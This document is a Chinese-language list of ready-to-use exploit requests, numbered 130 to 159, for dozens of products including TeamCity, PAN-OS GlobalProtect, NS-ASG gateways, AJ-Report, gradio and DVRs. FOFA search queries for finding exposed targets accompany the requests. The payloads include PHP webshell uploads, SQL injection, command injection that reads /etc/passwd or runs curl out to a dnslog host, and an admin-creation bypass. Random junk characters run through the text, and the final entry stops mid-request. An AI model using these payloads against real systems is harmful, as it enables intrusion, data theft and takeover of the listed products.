User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 R# I- I& W1 lAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
3 o3 \. h. O5 m, r' o# t
$ Z+ u* l& P# R; C1 D
" A) t* u1 Y$ e2 N130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
( H; d' h2 ]2 A; y7 _9 ~POST /admin/users/upavatar.html HTTP/1.1
; _; d; r4 s- ]3 i' lHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
" Y) U( v' Q" \3 S% i: S' EX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
" ^& a: s# w& H; n' s; wContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
; _$ C, X6 h+ EAccept-Encoding: gzip, deflate
$ t( T( H' B. S' ~* S8 n% R( P. bAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
8 Y  t. H6 F1 qConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
6 s. |3 Y" ^* ~3 Z3 kContent-Type: image/png
# D6 z! [* J8 Y0 a' \: a/ G
- p+ z2 v) m# C# q/ m7 ^3 c' k6 H<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


  }$ x% Z2 R( j- ?/ O131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
1 M: y- T$ O! p1 n" D' r: f3 \; Jhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

' h1 v& b1 ~2 g- O# @132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
7 _' u& ?, ?( g% g7 @( ^! QCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
. E9 b4 O+ D( n) s2 MHost: 192.168.40.130:8111
. M; L& X& M8 m* p: LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
/ \8 k+ h' A: G1 fContent-Type: application/json
6 ?- G% A6 C5 X% VAccept-Encoding: gzip, deflate
* G9 V; D( ~* h' Q/ D, _
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

+ q3 C( I4 Y$ \8 Z: t1 [# a) \
CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
) i, d9 U" f8 ^- D4 `/update/../admin/diagnostic.jsp
; N* U2 [; @9 B0 V2 e

* W. a" z4 C6 d+ I8 N5 |CVE-2024-27198-RCE.py
) @8 {7 d- p2 N& A3 l
# e% \% b) T8 t6 b8 _" t133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
9 n5 _2 U8 p& I5 Q8 H$ rPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
1 b% @6 m. b6 k6 t& x9 ^  h* E0 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) d% s& v  K2 mContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
6 ?  u6 k: U; F7 C4 R5 W
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
* i: h. V: a8 V8 H; \0 c: s2 tContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
8 d( t8 f6 F2 C, L& K
<?php system("cat /etc/passwd");unlink(__FILE__);?>
( s6 u. V- H* W( u2 K------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
* f6 j* x' l7 d8 j
1 K) c. `" l* Z

134. 网康NS-ASG应用安全网关index.php sql注入
0 Z/ `& }  C" I- KCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
. p5 t  x$ T$ k/ y* K% E5 ~2 fFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
. @0 @8 d2 t3 m. Q2 a. S( e# PCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
# w6 G4 _& |# U. {) D' h: tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
6 o$ i! g- b7 m, X8 e. zAccept: */*
% v, z: A) r' B3 R* E0 A$ iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. s0 o+ m; {; g8 f$ D( lSec-Fetch-Dest: empty
3 q& s4 S: {5 n2 S+ c8 J6 r$ ~9 [1 sSec-Fetch-Mode: cors
2 J" _4 G5 B! T9 z% aSec-Fetch-Site: same-origin
* U& ?( A* q, QTe: trailers
# ?0 P) u9 Y' YConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
! R- ~% O1 R/ M# Y/ h5 y! `3 A
+ R* r6 n& S" w; ~% O/ |jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
4 z" c' q# K$ o, M2 c$ n% ^( i
1 h, @) G. O0 A" J) l! d
4 H8 F, a. ^/ J135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
& L3 R" N! I/ [1 w6 v$ TFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 X, G/ }4 f0 w5 _Connection: close
% `) x  h. t( [' v- H  h0 }! W6 T5 P
5 t& `# F( `+ S, ~3 L# ?. @
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
# ~  \/ x9 {' E. P5 R8 uGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
& e0 @  B5 D  U4 m$ C' t4 UHost: x.x.x.x:10000
! [4 A" b0 r& MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
8 ~& i2 N, \% n1 vAccept-Language: en
Accept-Encoding: gzip

2 ?6 b7 n( `) a: g$ f6 X
* M6 @' E% t' K; |* g137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" M1 G0 D; ^2 ]. F2 l1 aGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
/ B+ C: Z4 X7 O8 iHost: x.x.x.x
; i* e6 u" L, s) v; x( [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
1 d% a+ e+ {, P) c- U! @

$ [; o3 Z* v! f' x' K8 Q( Y/ K138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
8 ]2 ~1 B  H; s5 XCVE-2024-2621
  P0 `0 L+ K% S6 cFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 P* |! x9 d6 QGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
8 b7 e! \, _0 U* z* S/ L! fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1


2 U& z6 c0 W4 }2 U4 F. Y/ C6 Q$ S139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
9 ^. p+ [- D" J0 o; y' A; ?6 pFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: D3 O( e' I+ t# u$ }; a. b, qHost: x.x.x.x
; t0 C5 W! u( F0 ~9 y) ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 k$ ~' V" i" I. @2 U; SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
( z2 `( t3 E6 S! d6 N( AUpgrade-Insecure-Requests: 1
1 M  y1 o, y" a, w4 W0 P

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
4 @* H& w! S5 M" X# a  W" {CVE-2024-2566
. i6 |* _( E* U& f3 u* H* K4 kFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( \- t  C& h; V/ ~) h, r8 K. H3 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; H8 d$ Z/ N6 F: lAccept-Encoding: gzip, deflate, br
Connection: close
- c$ q, T+ s( `% sCookie: authcode=h8g9
+ _+ b. b+ [7 d" j" z7 b0 zUpgrade-Insecure-Requests: 1

+ `' ?- x! ^& i6 q7 s! T" h5 O8 R
/ ~7 }, o8 F' O& n, h. N  S4 N7 b141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
  R" Q( B2 T0 a" y. k! a9 \; oHost: your-ip
) _: Z. I6 `7 m1 k6 L( f1 ]% _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
  q8 y3 h5 ?; D! X" y, H, TContent-Type: application/x-www-form-urlencoded
4 B1 a. l7 ~3 ?
2 q* V' k! z. p- p
6 w; h+ `$ z0 ?; _. {0 f: Xdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
9 j- t- a; [% C! `# }+ f+ d
& g7 j7 E4 p% M+ ~0 m' f6 u, B
  J: l* M3 w0 G; t! ]- ]142. CMSV6车辆监控平台系统中存在弱密码
$ L/ S* t0 c8 b" _( OCVE-2024-29666
( _% S: a; c% W  l5 }4 Y; wFOFA：body="/808gps/"
; |/ I6 S9 \& |2 \8 k7 c: hadmin/admin
3 P9 S' R8 J( d- J143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
6 _0 h# r$ p$ d1 s  f9 L) E9 o+ CPAYLOAD

! o: \) F8 k1 x4 K9 U7 c3 r144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
& W! [3 f& F  Csystem参数用于传要执行的命令
5 \/ I: }7 C9 }8 r: W8 K4 y4 UGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
$ j% a  G/ S# b) K7 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
( `' m$ ]5 g/ V' u' N4 \* EAccept-Language: en
' H6 a# `: I; T3 K% CAccept-Encoding: gzip

8 ^& r; t! Q( O, I; w
- X) w3 w( y" E145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
" G' t7 y- h, f- S5 D: z- R, dCVE-2024-3400
2 _9 x0 C5 l* n8 |7 R- f( `/ p1 x/ FFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
1 B3 e4 v  v# m3 G1 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
% o" c2 P9 p: u9 n0 L, B

( x0 E/ \; N3 A3 g146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
! @! {( j# p7 l9 b$ p/ XGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
% P& f  b0 @$ a2 i- S% HAccept-Encoding: gzip, deflate
" X0 B% b7 t9 P. i6 d" ?" CConnection: close
9 k1 i: A% N# }- V+ C6 o
9 h1 k3 C2 j1 _+ s" w) G
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
( P! O0 y7 d: \0 q0 z  H; ]CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
  l- j! r0 r1 k! ?' p3 K/ uConnection: close
/ |) o. v: R: l! g! p; m# h: g8 O

148. CrushFTP 认证绕过模板注入
9 k2 ~) V8 @  J; C- E9 U# dCVE-2024-4040
% Q5 R0 L% Q; ~8 _FOFA：body="CrushFTP"
( U- Z- X2 y2 [* R, X8 u! l) rPAYLOAD
5 V8 z. ^8 Z$ N: c' f- p5 u
149. AJ-Report开源数据大屏存在远程命令执行
: a' L" v3 t0 jFOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% N6 [" ]7 E; m$ o0 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& B9 R9 g% E) u2 ?" m6 v% i# uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
6 _, h& r# I2 y1 t- vAccept-Language: zh-CN,zh;q=0.9
/ @& \6 C  W: |, h8 ]* \Content-Type: application/json;charset=UTF-8
8 Y. ^9 y" {. N* r- OConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 Q3 U3 @( X0 |Host: x.x.x.x
8 |. o# J( [' w  \3 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; U$ y2 \) {! W4 G: Z9 E: P  n8 S& mAccept-Encoding: gzip, deflate, br
- ^* O/ a+ p( E( {7 jAccept-Language: zh-CN,zh;q=0.9
- G3 a% d% a! ^7 ]# Z, `& T8 dContent-Type: application/json;charset=UTF-8
5 N6 A) y" v* o3 E2 hConnection: close
' _6 ?/ ?7 S1 U. Z$ ^8 ?; _7 L* RContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
. p( x5 @) P$ q- j
! D2 v8 B$ J6 q4 Z1 z
2 n7 v( ]' w2 f* c151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
3 r. q, H/ D& y- p& `9 x' tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ X* c' E& |' @" c% P" [Connection: close
/ d# d" t2 S# h2 ~& N/ \Accept-Encoding: gzip

: {  t1 @4 ?7 y& R& u
0 i9 w9 I/ _% h$ Q; |/ |8 @) n% E; A152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
9 K. X2 ~& I: j; e- A. ^* ALoadMaster <= 7.2.59.2 (GA)
' `. y) D  @/ j- _7 q, X) y( aLoadMaster<=7.2.54.8 (LTSF)
$ ^5 a7 w0 H: ^5 r8 fLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
# k1 O7 H: [( {8 NGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
8 x9 X: h. x, V) wAccept: */*
Accept-Language: en
/ S$ D% Y6 I" k* N  c2 b/ vAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
+ F( k3 s+ w. H" I& {- {7 z

153. gradio任意文件读取
1 A7 n9 k5 T2 ~0 {4 p( iCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
" ]4 m0 Q9 B. {  f( J) mhttp://x.x.x.x/config


& m$ O! Z7 M; k( H% _9 m6 x第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
# L8 C7 l: w; }7 s8 m4 HHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
3 h9 m+ ~. m6 X5 e7 T; S6 |0 c, `. hContent-Length: 115
Content-Type: application/json
0 v  U% z+ n) W: D- lAccept-Encoding: gzip

& T9 W* ~# I2 C{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
* `: ~: L8 {1 C& F
: v. a/ O3 [" k, t/ o' ]
第三步访问
3 L; H, X) a1 V4 P, Jhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


: y! b  C- Y% l  q7 y1 X$ W) t154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
) t  l, X) Y) ~0 [2 eHost: x.x.x.x
7 k( c! y+ e0 b( DContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
* b) Y7 X0 K8 _6 O6 v0 ]/ gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
: M8 m  _7 j) p. ]
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
: ^# G* p2 z/ ^1 n0 b7 V5 I
, s0 F# @) v5 O7 r( W
155. 六零导航页 file.php 任意文件上传
% q" O  q' g& `CVE-2024-34982
5 l+ m1 L# P1 d( o$ B5 e% tFOFA：title=="上网导航 - LyLme Spage"
/ i2 U; b5 }5 A  v# N/ H5 dPOST /include/file.php HTTP/1.1
Host: x.x.x.x
7 p. g- G* `+ R! hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
5 w+ z7 t- p" LConnection: close
& i3 ?# O7 E( L3 VContent-Length: 232
; J! F, P  ]# [% ~7 Y; MAccept: application/json, text/javascript, */*; q=0.01
: w$ Y- M( R- X( c4 o% U. _( t2 I& |Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 B8 g6 g/ e6 f; p* Q- MContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
5 Y9 H7 s  T- b! K( D  Z: g
. u) m0 r' X4 r# U-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
/ Z$ N4 A( Y+ B* W% j% JContent-Type: image/png

: R7 o6 y. C" G, E) X4 ?3 R<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

8 T9 C3 o% i, C156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
! T" |* N3 e* c' x0 [/ Q9 Y/ q! b/ RFOFA："Location: /login.rsp"
·TBK DVR-4104
% F- `' Q( F% F/ [·TBK DVR-4216
' |5 Z8 A7 V: L/ d" u  Bcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 p: I- m; x& c6 F) @Content-Length: 0
7 Z& s+ ]% k3 X2 r' U3 {Cookie: uid=1
, t0 |" T) Y& S: wAccept-Encoding: gzip


157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
4 C. O3 D' E& C6 G/ uFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 K4 e7 P  K* VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 \: {2 U9 d1 R3 v7 SCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
$ ^, [, N1 I5 T! w$ V5 W% c6 bUpgrade-Insecure-Requests: 1

+ N- o. M' m; y( s) o" ~------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
9 e+ z' y* `! F! {- u
nyhelxrutzwhrsvsrafb
3 R+ E: o! [* w  [4 A# N  ]/ d------WebKitFormBoundary1imovELzPsfzp5dN
  z6 X* r$ ]9 _# R/ X  aContent-Disposition: form-data; name="key"

8 d$ c, m# c- fnull
------WebKitFormBoundary1imovELzPsfzp5dN
: r" ]+ ]% F0 J: W0 a# LContent-Disposition: form-data; name="form"

null
  _/ ~$ D$ g- Q' x------WebKitFormBoundary1imovELzPsfzp5dN
& ~$ `* G7 s# _Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
1 @5 x/ [- x/ [2 M/ ?9 R+ x4 eContent-Disposition: form-data; name="filetitile"
' }5 ~8 D6 d% d7 c  Q# l* B
; f6 @( F! H' }2 }( Bnull
. D; {( B# H3 R4 W' l) \9 R------WebKitFormBoundary1imovELzPsfzp5dN
, J. a5 Y1 R5 G, G. tContent-Disposition: form-data; name="filefolder"

+ T* s' {1 T: I; ^" Nnull
------WebKitFormBoundary1imovELzPsfzp5dN--

) X  p: b1 {# Z" E$ c0 `
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
" E% a% E2 t$ h% Q: ?1 b3 Q3 e* K
158. Mura-CMS-processAsyncObject存在SQL注入
" \. X) f/ K& |" @5 z# ?/ `( RCVE-2024-32640
9 N2 ?8 X7 u% u% S# Q, TFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
: z, ]. `6 k8 U4 {6 q; g6 hHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1

( F3 C& ~7 E2 ^2 @. L( X# x" z
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
7 y6 T0 e* x1 _# C9 n6 u+ g8 HHost: x.x.x.x
" m" k! u9 L( qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
" g( \, L4 y1 E$ aAccept-Encoding: gzip, deflate
3 n  V3 Z$ B3 B$ S1 w6 f. K0 o* N! H# XConnection: close
Content-Type: text/xml; charset=utf-8
, T: [: m+ y; A- G8 m4 S  NSoapaction: "http://rainier/jobUpload"
8 q( X5 z$ M4 I9 X3 H5 f- V
  j$ U+ e8 k) E1 [% G! D<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 e- B. X3 h) e: s% O<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
5 Y* B+ d- t; q, m% C/ g/ O- [<fileName>abcrce.asmx</fileName>
